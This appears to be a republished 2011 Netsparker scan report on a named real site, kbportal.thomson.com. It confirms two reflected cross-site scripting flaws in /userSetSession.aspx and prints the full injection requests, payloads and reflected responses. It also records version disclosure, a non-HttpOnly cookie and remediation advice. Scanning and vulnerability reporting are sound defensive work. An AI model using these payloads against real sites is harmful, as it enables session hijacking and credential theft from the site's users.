XSS, kbportal.thomson.com, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

Netsparker - Scan Report Summary
TARGET URL
http://kbportal.thomson.com/display/2/index.a...
SCAN DATE
4/26/2011 3:12:23 PM
REPORT DATE
4/26/2011 3:14:20 PM
SCAN DURATION
00:00:19

Total Requests

879

Average Speed

45.33 req/sec.
6
identified
4
confirmed
0
critical
2
informational

GHDB DORK Tests

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, HTTP Header Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

GHDB, DORK VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
33 %
LOW
33 %
INFORMATION
33 %

GHDB, DORK VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/display/ Forbidden Resource Yes
/display/2/index.aspx Cookie Not Marked As HttpOnly Yes
ASP.NET Version Disclosure No
IIS Version Disclosure No
/userSetSession.aspx cpc GET Cross-site Scripting Yes
t GET Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

2 TOTAL
IMPORTANT
CONFIRMED
2
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /userSetSession.aspx

/userSetSession.aspx CONFIRMED

http://kbportal.thomson.com/userSetSession.aspx?c=3&cpc='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%..

Parameters

Parameter Type Value
c GET 3
cpc GET '"--></style></script><script>alert(0x00009F)</script>
cid GET 3
t GET 3

Request

GET /userSetSession.aspx?c=3&cpc='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00009F)%3C/script%3E&cid=3&t=3 HTTP/1.1
Referer: http://kbportal.thomson.com/display/2/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Cookie: CHAR(97)))=
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:12:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: IWICategory=IWICategory=3; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/,ASP.NET_SessionId=5jd2za5544hqxiv1bpi1wq45; path=/,BIGipServerKB-80=2240234663.20480.0000; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 664



<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Session Timeout</title>
</head>
<body style="margin:35px;">
<div style="width:500px; font-size:15px; font-family:Arial, Geneva, Sans-serif; line-height:20px">

<p>To enter portal, click <a href="/?c=3&cpc=''"></style></script><script>netsparker(0x00009F)</script>&cid=3&t=3" target=_parent>here</a></div>

</div>
<script type="text/javascript">
var timer = self.setTimeout("top.location.href='/index.aspx'", 5000)
</script>
</body>
</html>

- /userSetSession.aspx

/userSetSession.aspx CONFIRMED

http://kbportal.thomson.com/userSetSession.aspx?c=3&cpc=3&cid=3&t='%22--%3E%3C/style%3E%3C/script%3E..

Parameters

Parameter Type Value
c GET 3
cpc GET 3
cid GET 3
t GET '"--></style></script><script>alert(0x0000E7)</script>

Request

GET /userSetSession.aspx?c=3&cpc=3&cid=3&t='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0000E7)%3C/script%3E HTTP/1.1
Referer: http://kbportal.thomson.com/display/2/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:12:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: IWICategory=IWICategory=3; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/,ASP.NET_SessionId=0k4ptgzwalvqhxzjms4au4il; path=/,BIGipServerKB-80=428295335.20480.0000; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 664



<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Session Timeout</title>
</head>
<body style="margin:35px;">
<div style="width:500px; font-size:15px; font-family:Arial, Geneva, Sans-serif; line-height:20px">

<p>To enter portal, click <a href="/?c=3&cpc=3&cid=3&t=''"></style></script><script>netsparker(0x0000E7)</script>" target=_parent>here</a></div>

</div>
<script type="text/javascript">
var timer = self.setTimeout("top.location.href='/index.aspx'", 5000)
</script>
</body>
</html>

Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /display/2/index.aspx

/display/2/index.aspx CONFIRMED

http://kbportal.thomson.com/display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r..

Identified Cookie

IWICategory

Request

GET /display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r=0.489711880683899 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:12:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: IWICategory=IWICategory=; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/,ASP.NET_SessionId=zhhhv0ml3i34t045oudww1md; path=/,BIGipServerKB-80=2240234663.20480.0000; path=/
Cache-Control: private
Content-Length: 0


ASP.NET Version Disclosure

ASP.NET Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.

Impact

An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.

Remedy

Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
     < httpRuntime enableVersionHeader="false" /> 
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /display/2/index.aspx

/display/2/index.aspx

http://kbportal.thomson.com/display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r..

Extracted Version

1.1.4322

Request

GET /display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r=0.489711880683899 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:12:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: IWICategory=IWICategory=; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/,ASP.NET_SessionId=zhhhv0ml3i34t045oudww1md; path=/,BIGipServerKB-80=2240234663.20480.0000; path=/
Cache-Control: private
Content-Length: 0


Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /display/

/display/ CONFIRMED

http://kbportal.thomson.com/display/

Request

GET /display/ HTTP/1.1
Referer: http://kbportal.thomson.com/display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r=0.489711880683899
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 403 Forbidden
Content-Length: 218
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 26 Apr 2011 20:12:13 GMT
Set-Cookie: BIGipServerKB-80=2240234663.20480.0000; path=/


<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></body></html>
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /display/2/index.aspx

/display/2/index.aspx

http://kbportal.thomson.com/display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r..

Extracted Version

Microsoft-IIS/6.0

Request

GET /display/2/index.aspx?c=undefined571419undefined&cpc=&cid=&cat=&catURL=&r=0.489711880683899 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: kbportal.thomson.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 20:12:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: IWICategory=IWICategory=; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/,ASP.NET_SessionId=zhhhv0ml3i34t045oudww1md; path=/,BIGipServerKB-80=2240234663.20480.0000; path=/
Cache-Control: private
Content-Length: 0